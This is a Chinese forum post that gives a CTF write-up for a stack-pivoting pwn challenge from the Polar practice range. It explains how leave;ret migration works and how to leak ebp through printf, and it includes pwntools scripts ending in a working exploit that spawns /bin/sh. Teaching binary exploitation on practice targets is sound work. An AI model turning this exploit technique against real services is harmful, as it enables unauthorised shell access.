本帖最后由 穆勇 于 2025-9-15 11:11 编辑
哈喽大家好,我是穆老师,给大家分享一道栈迁移 pwn 题。
题目来源:Polar 靶场《8字节能干什么》
拿到程序常规检查一下:
32 位小端序,开启 NX 保护
ida 反编译看主函数
跟进 vuln 函数
存在两次栈溢出,但是只有 8 字节,那么就可以覆盖 ebp 和返回地址
这种情况多半需要栈迁移了
我们可以将 rop 链写到栈上,再将栈劫持到我们写的地方就可以了
栈迁移的核心:
首先利用栈溢出将 ebp 覆盖为目标地址(也就是想迁移到哪里)
然后把返回地址 ret addr 覆盖为 leave;ret 指令的地址
这样我们可以执行两次 leave;ret
第一次,函数正常返回,执行 leave;ret
mov esp ebp 让两个指针处于同一位置(ebp)
pop ebp 会将 ebp 弹到我们覆盖的那个地址
接着 ret,返回到下一个 gadget
再次执行 leave;ret
mov esp ebp ,将 esp 也迁移到了 ebp 的位置
接着 pop ebp,将栈顶内容弹给 ebp,esp 指向下一个内存单元
如果我们提前在这个地址布好 system 函数的地址
最后执行 pop eip,system 函数地址进入 eip,就可以 getshell 了
关于打栈迁移的内存布局:
一些说明:
其中 aaaa 为垃圾数据,会被 pop 掉;
/bin/sh 共 7 字节,因此我们补一个\x00,放到两个内存单元,一个内存单元不够放;
下面的 padding 需要计算,我们后面说;
fake_ebp 为 aaaa 处的地址,也就是我们希望将 ebp 迁移到哪里的一个目标地址;
一般我们会迁移到一个提前布置好 system_plt_addr 的地方,前面的 aaaa 是第一次被 pop 掉;
leave_ret 就是随便找一个 leave_ret 指令的地址即可。
我们后面的 exp 就按照这个顺序填内容。
回到这道题:
发现存在后门函数,但是参数不对
首先我们利用 printf 泄露 ebp 地址 为什么要泄露这个我们后面说 printf("%s", (const char *)buf)
printf 打印字符串,参数是 %s,需要遇到 00 才停止打印 如果我们第一次 read 读入内容长度刚好是 0x30,也就是把前面的 buf 以及其他参数填充完 后面就是 ebp 的位置,ebp 的值一般不是 0 执行 printf 就可以把后面 ebp 的地址也打印出来 测试脚本: 不要用 sendline,会加换行符进去,就会覆盖掉实际原本的内容 from pwn import *
io = process('./pwn')
payload = cyclic(0x30)
io.send(payload)
out = io.recv()
print(out)
我们不随机生成字符,用特征字符结尾,这样接收特征字符后面的 4 字节就是 ebp 的地址了 from pwn import *
io = process('./pwn')
payload = b'a'*0x2c + b'b'*4
io.send(payload)
io.recvuntil(b'bbbb')
ebp_addr = u32(io.recv(4))
print(hex(ebp_addr))
这里的这个 ebp 是旧的 ebp,也就是 main 函数的 ebp 接下来我们计算 aaaa 处的地址,通过到 ebp 的偏移来获取: 这里 buf_addr 不能直接用在 ida 看到的那个地址:ebp-0x30(静态的) 得 gdb 动调看:断点下在第二次 read 的位置 输入 aaaa 观察它到 ebp 的距离: 0xd148 - 0xd108 = 0x40 (这个是值的偏移) 在动态运行时,需要 通过泄露的 EBP 计算 buf 的真实地址,才能正确构造 payload 下在第一次 read 的地方也可以 下面开始写 exp: binsh_addr(注意这个是 /bin/sh 字符串的地址) 通过 ebp 的偏移来计算,这就是我们为什么需要泄露 ebp 地址了。 由于我们在填 binsh_addr 前已经填了 b'a'*4 + p32(system_addr) + p32(system_ret_addr) 还要再加自身 binsh_addr 也就是 4*4 = 16 字节 那么 binsh_addr = ebp-0x40+16 随便找一个 leave;ret 的地址 也可以用工具找: ROPgadget --binary pwn --only "leave|ret"
padding 处的填充可以手动计算,也可以直接用 ljust 填充到 ebp 之前,这里就是 0x30 后面的两个 p32 分别就是填充的迁移地址(这里是 buf 起始地址)和 leave;ret 指令的地址 exp: from pwn import *
io = process('./pwn')
payload = b'a'*0x2c + b'b'*4
io.send(payload)
io.recvuntil(b'bbbb')
ebp_addr = u32(io.recv(4))
print(hex(ebp_addr))
system_addr = 0x80483E0
binsh_addr = ebp_addr-0x40+16
buf_addr = ebp_addr-0x40
leave_ret_addr = 0x804858C
payload2 = (b'a'*4 + p32(system_addr) + p32(1) + p32(binsh_addr) + b'/bin/sh\x00').ljust(0x30,b'a') + p32(buf_addr) + p32(leave_ret_addr)
io.sendline(payload2)
io.interactive()
没有问题,可以打通
|